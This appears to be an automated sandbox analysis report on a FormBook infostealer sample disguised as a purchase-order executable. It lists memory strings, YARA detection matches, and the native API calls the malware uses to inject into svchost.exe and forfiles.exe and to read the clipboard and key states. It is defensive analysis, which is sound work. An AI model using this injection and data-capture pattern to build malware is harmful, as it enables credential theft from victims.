            Source: forfiles.exe, 0000000C.00000002.3136018758.0000000006224000.00000004.10000000.00040000.00000000.sdmp, forfiles.exe, 0000000C.00000002.3138066811.0000000007C40000.00000004.00000800.00020000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://fonts.googleapis.com/css?family=Open
            Source: forfiles.exe, 0000000C.00000002.3136018758.0000000006224000.00000004.10000000.00040000.00000000.sdmp, forfiles.exe, 0000000C.00000002.3138066811.0000000007C40000.00000004.00000800.00020000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://img.imena.ua/css/media-set.css
            Source: forfiles.exe, 0000000C.00000002.3136018758.0000000006224000.00000004.10000000.00040000.00000000.sdmp, forfiles.exe, 0000000C.00000002.3138066811.0000000007C40000.00000004.00000800.00020000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://img.imena.ua/js/bundle.min.js
            Source: forfiles.exe, 0000000C.00000002.3122100683.0000000002F51000.00000004.00000020.00020000.00000000.sdmp, forfiles.exe, 0000000C.00000002.3122100683.0000000002F78000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
            Source: forfiles.exe, 0000000C.00000002.3122100683.0000000002F78000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
            Source: forfiles.exe, 0000000C.00000002.3122100683.0000000002F51000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
            Source: forfiles.exe, 0000000C.00000002.3122100683.0000000002F51000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
            Source: forfiles.exe, 0000000C.00000002.3122100683.0000000002F51000.00000004.00000020.00020000.00000000.sdmp, forfiles.exe, 0000000C.00000002.3122100683.0000000002F78000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
            Source: forfiles.exe, 0000000C.00000002.3122100683.0000000002F78000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
            Source: forfiles.exe, 0000000C.00000003.1958965958.0000000007F7B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
            Source: forfiles.exe, 0000000C.00000002.3136018758.0000000006224000.00000004.10000000.00040000.00000000.sdmp, forfiles.exe, 0000000C.00000002.3138066811.0000000007C40000.00000004.00000800.00020000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://mail.mirohost.net
            Source: AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000003AD8000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.active24.cz/
            Source: forfiles.exe, 0000000C.00000002.3136018758.00000000058B8000.00000004.10000000.00040000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000003AD8000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.active24.cz/cart/domain-checker
            Source: AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000003AD8000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.active24.cz/support/
            Source: forfiles.exe, 0000000C.00000003.1964374693.0000000007F9E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.ecosia.org/newtab/
            Source: forfiles.exe, 0000000C.00000002.3136018758.0000000005726000.00000004.10000000.00040000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000003946000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.google.com
            Source: forfiles.exe, 0000000C.00000003.1964374693.0000000007F9E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
            Source: AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.imena.ua/
            Source: AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.imena.ua/blog/
            Source: forfiles.exe, 0000000C.00000002.3136018758.0000000006224000.00000004.10000000.00040000.00000000.sdmp, forfiles.exe, 0000000C.00000002.3138066811.0000000007C40000.00000004.00000800.00020000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.imena.ua/check-domain
            Source: forfiles.exe, 0000000C.00000002.3136018758.0000000006224000.00000004.10000000.00040000.00000000.sdmp, forfiles.exe, 0000000C.00000002.3138066811.0000000007C40000.00000004.00000800.00020000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.imena.ua/check-domain?step=transfer
            Source: AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.imena.ua/contact
            Source: forfiles.exe, 0000000C.00000002.3136018758.0000000006224000.00000004.10000000.00040000.00000000.sdmp, forfiles.exe, 0000000C.00000002.3138066811.0000000007C40000.00000004.00000800.00020000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.imena.ua/datacenter
            Source: forfiles.exe, 0000000C.00000002.3136018758.0000000006224000.00000004.10000000.00040000.00000000.sdmp, forfiles.exe, 0000000C.00000002.3138066811.0000000007C40000.00000004.00000800.00020000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.imena.ua/documents
            Source: AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.imena.ua/domains
            Source: forfiles.exe, 0000000C.00000002.3136018758.0000000006224000.00000004.10000000.00040000.00000000.sdmp, forfiles.exe, 0000000C.00000002.3138066811.0000000007C40000.00000004.00000800.00020000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.imena.ua/domains/premium-domains
            Source: forfiles.exe, 0000000C.00000002.3136018758.0000000006224000.00000004.10000000.00040000.00000000.sdmp, forfiles.exe, 0000000C.00000002.3138066811.0000000007C40000.00000004.00000800.00020000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.imena.ua/domains/prices
            Source: forfiles.exe, 0000000C.00000002.3136018758.0000000006224000.00000004.10000000.00040000.00000000.sdmp, forfiles.exe, 0000000C.00000002.3138066811.0000000007C40000.00000004.00000800.00020000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.imena.ua/domains/regtm
            Source: AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.imena.ua/en
            Source: forfiles.exe, 0000000C.00000002.3136018758.0000000006224000.00000004.10000000.00040000.00000000.sdmp, forfiles.exe, 0000000C.00000002.3138066811.0000000007C40000.00000004.00000800.00020000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.imena.ua/en/how-search
            Source: AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.imena.ua/help
            Source: AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.imena.ua/hosting
            Source: forfiles.exe, 0000000C.00000002.3136018758.0000000006224000.00000004.10000000.00040000.00000000.sdmp, forfiles.exe, 0000000C.00000002.3138066811.0000000007C40000.00000004.00000800.00020000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.imena.ua/how-search
            Source: forfiles.exe, 0000000C.00000002.3136018758.0000000006224000.00000004.10000000.00040000.00000000.sdmp, forfiles.exe, 0000000C.00000002.3138066811.0000000007C40000.00000004.00000800.00020000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.imena.ua/job
            Source: AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.imena.ua/payments
            Source: AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.imena.ua/ru
            Source: AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.imena.ua/servers
            Source: forfiles.exe, 0000000C.00000002.3136018758.0000000006224000.00000004.10000000.00040000.00000000.sdmp, forfiles.exe, 0000000C.00000002.3138066811.0000000007C40000.00000004.00000800.00020000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.imena.ua/support/domains-finance/icann-i-ee-funkcii
            Source: AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.imena.ua/support/domains-finance/sposoby-oplaty-uslug-imena-ua
            Source: AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.imena.ua/ua
            Source: AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.imena.ua/vps
            Source: AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.imena.ua/whois.php?domain=spectre.center
            Source: forfiles.exe, 0000000C.00000002.3136018758.0000000006224000.00000004.10000000.00040000.00000000.sdmp, forfiles.exe, 0000000C.00000002.3138066811.0000000007C40000.00000004.00000800.00020000.00000000.sdmp, AnbtBVreItY.exe, 0000000E.00000002.3135428231.0000000004444000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: https://www.ripe.net/
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0046C5D0 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,0_2_0046C5D0
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_00459FFF OpenClipboard,EmptyClipboard,CloseClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,0_2_00459FFF
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0046C5D0 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,0_2_0046C5D0
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_00456354 GetCursorPos,ScreenToClient,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetWindowLongW,0_2_00456354
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0047C08E SendMessageW,DefDlgProcW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,GetWindowLongW,SendMessageW,SendMessageW,SendMessageW,_wcsncpy,SendMessageW,SendMessageW,SendMessageW,InvalidateRect,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,0_2_0047C08E

            E-Banking Fraud

            barindex
            Yara detected FormBook
            Source: Yara matchFile source: 8.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 8.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 0000000C.00000002.3133057378.0000000004970000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000008.00000002.1776540328.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000C.00000002.3132858119.0000000004920000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000008.00000002.1776852488.0000000003590000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000E.00000002.3133096714.0000000002E90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000B.00000002.3132094860.00000000044C0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000C.00000002.3120123793.0000000002CB0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000008.00000002.1777534454.0000000005050000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

            System Summary

            barindex
            Malicious sample detected (through community Yara rule)
            Source: 8.2.svchost.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 8.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 0000000C.00000002.3133057378.0000000004970000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000008.00000002.1776540328.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 0000000C.00000002.3132858119.0000000004920000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000008.00000002.1776852488.0000000003590000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 0000000E.00000002.3133096714.0000000002E90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 0000000B.00000002.3132094860.00000000044C0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 0000000C.00000002.3120123793.0000000002CB0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000008.00000002.1777534454.0000000005050000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Initial sample is a PE file and has a suspicious name
            Source: initial sampleStatic PE information: Filename: PO#001498.exe
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0042C5A3 NtClose,8_2_0042C5A3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_0040A9D4 NtAllocateVirtualMemory,8_2_0040A9D4
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03872B60 NtClose,LdrInitializeThunk,8_2_03872B60
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03872DF0 NtQuerySystemInformation,LdrInitializeThunk,8_2_03872DF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038735C0 NtCreateMutant,LdrInitializeThunk,8_2_038735C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03874340 NtSetContextThread,8_2_03874340
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03874650 NtSuspendThread,8_2_03874650
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03872B80 NtQueryInformationFile,8_2_03872B80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03872BA0 NtEnumerateValueKey,8_2_03872BA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03872BE0 NtQueryValueKey,8_2_03872BE0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03872BF0 NtAllocateVirtualMemory,8_2_03872BF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03872AB0 NtWaitForSingleObject,8_2_03872AB0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03872AD0 NtReadFile,8_2_03872AD0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03872AF0 NtWriteFile,8_2_03872AF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03872F90 NtProtectVirtualMemory,8_2_03872F90
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03872FA0 NtQuerySection,8_2_03872FA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03872FB0 NtResumeThread,8_2_03872FB0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03872FE0 NtCreateFile,8_2_03872FE0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03872F30 NtCreateSection,8_2_03872F30
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03872F60 NtCreateProcessEx,8_2_03872F60
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03872E80 NtReadVirtualMemory,8_2_03872E80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03872EA0 NtAdjustPrivilegesToken,8_2_03872EA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03872EE0 NtQueueApcThread,8_2_03872EE0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03872E30 NtWriteVirtualMemory,8_2_03872E30
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03872DB0 NtEnumerateKey,8_2_03872DB0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03872DD0 NtDelayExecution,8_2_03872DD0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03872D00 NtSetInformationFile,8_2_03872D00
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03872D10 NtMapViewOfSection,8_2_03872D10
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03872D30 NtUnmapViewOfSection,8_2_03872D30
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03872CA0 NtQueryInformationToken,8_2_03872CA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03872CC0 NtQueryVirtualMemory,8_2_03872CC0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03872CF0 NtOpenProcess,8_2_03872CF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03872C00 NtQueryInformationProcess,8_2_03872C00
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03872C60 NtCreateKey,8_2_03872C60
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03872C70 NtFreeVirtualMemory,8_2_03872C70
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03873090 NtSetValueKey,8_2_03873090
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03873010 NtOpenDirectoryObject,8_2_03873010
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_038739B0 NtGetContextThread,8_2_038739B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03873D10 NtOpenProcessToken,8_2_03873D10
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 8_2_03873D70 NtOpenThread,8_2_03873D70
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BF4650 NtSuspendThread,LdrInitializeThunk,12_2_04BF4650
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BF4340 NtSetContextThread,LdrInitializeThunk,12_2_04BF4340
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BF2CA0 NtQueryInformationToken,LdrInitializeThunk,12_2_04BF2CA0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BF2C70 NtFreeVirtualMemory,LdrInitializeThunk,12_2_04BF2C70
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BF2C60 NtCreateKey,LdrInitializeThunk,12_2_04BF2C60
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BF2DF0 NtQuerySystemInformation,LdrInitializeThunk,12_2_04BF2DF0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BF2DD0 NtDelayExecution,LdrInitializeThunk,12_2_04BF2DD0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BF2D30 NtUnmapViewOfSection,LdrInitializeThunk,12_2_04BF2D30
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BF2D10 NtMapViewOfSection,LdrInitializeThunk,12_2_04BF2D10
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BF2E80 NtReadVirtualMemory,LdrInitializeThunk,12_2_04BF2E80
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BF2EE0 NtQueueApcThread,LdrInitializeThunk,12_2_04BF2EE0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BF2FB0 NtResumeThread,LdrInitializeThunk,12_2_04BF2FB0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BF2FE0 NtCreateFile,LdrInitializeThunk,12_2_04BF2FE0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BF2F30 NtCreateSection,LdrInitializeThunk,12_2_04BF2F30
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BF2AF0 NtWriteFile,LdrInitializeThunk,12_2_04BF2AF0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BF2AD0 NtReadFile,LdrInitializeThunk,12_2_04BF2AD0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BF2BA0 NtEnumerateValueKey,LdrInitializeThunk,12_2_04BF2BA0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BF2BF0 NtAllocateVirtualMemory,LdrInitializeThunk,12_2_04BF2BF0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BF2BE0 NtQueryValueKey,LdrInitializeThunk,12_2_04BF2BE0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BF2B60 NtClose,LdrInitializeThunk,12_2_04BF2B60
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BF35C0 NtCreateMutant,LdrInitializeThunk,12_2_04BF35C0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BF39B0 NtGetContextThread,LdrInitializeThunk,12_2_04BF39B0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BF2CF0 NtOpenProcess,12_2_04BF2CF0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BF2CC0 NtQueryVirtualMemory,12_2_04BF2CC0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BF2C00 NtQueryInformationProcess,12_2_04BF2C00
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BF2DB0 NtEnumerateKey,12_2_04BF2DB0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BF2D00 NtSetInformationFile,12_2_04BF2D00
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BF2EA0 NtAdjustPrivilegesToken,12_2_04BF2EA0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BF2E30 NtWriteVirtualMemory,12_2_04BF2E30
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BF2FA0 NtQuerySection,12_2_04BF2FA0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BF2F90 NtProtectVirtualMemory,12_2_04BF2F90
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BF2F60 NtCreateProcessEx,12_2_04BF2F60
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BF2AB0 NtWaitForSingleObject,12_2_04BF2AB0
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BF2B80 NtQueryInformationFile,12_2_04BF2B80
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BF3090 NtSetValueKey,12_2_04BF3090
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BF3010 NtOpenDirectoryObject,12_2_04BF3010
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BF3D10 NtOpenProcessToken,12_2_04BF3D10
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_04BF3D70 NtOpenThread,12_2_04BF3D70
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_02CD9290 NtReadFile,12_2_02CD9290
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_02CD9380 NtDeleteFile,12_2_02CD9380
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_02CD9120 NtCreateFile,12_2_02CD9120
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_02CD9420 NtClose,12_2_02CD9420
            Source: C:\Windows\SysWOW64\forfiles.exeCode function: 12_2_02CD9590 NtAllocateVirtualMemory,12_2_02CD9590
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_00434D50: GetFullPathNameW,__swprintf,_wcslen,_wcslen,_wcslen,CreateDirectoryW,CreateFileW,_memset,_wcslen,_wcsncpy,DeviceIoControl,CloseHandle,RemoveDirectoryW,CloseHandle,0_2_00434D50
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_004461ED _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,_wcsncpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,0_2_004461ED
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_004364AA GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState,0_2_004364AA
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_00409A400_2_00409A40
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_004120380_2_00412038
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_004271610_2_00427161
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0047E1FA0_2_0047E1FA
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_004212BE0_2_004212BE
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_004433900_2_00443390
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_004433910_2_00443391
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0041A46B0_2_0041A46B
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0041240C0_2_0041240C
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_004465660_2_00446566
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_004045E00_2_004045E0
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0041D7500_2_0041D750
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_004037E00_2_004037E0
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_004278590_2_00427859
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_004128180_2_00412818
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0040F8900_2_0040F890
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0042397B0_2_0042397B
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_00411B630_2_00411B63
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0047CBF00_2_0047CBF0
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0044EBBC0_2_0044EBBC
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_00412C380_2_00412C38
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0044ED9A0_2_0044ED9A
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_00423EBF0_2_00423EBF
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_00424F700_2_00424F70
            Source: C:\Users\user\Desktop\PO#001498.exeCode function: 0_2_0041AF0D0_2_0041AF0D
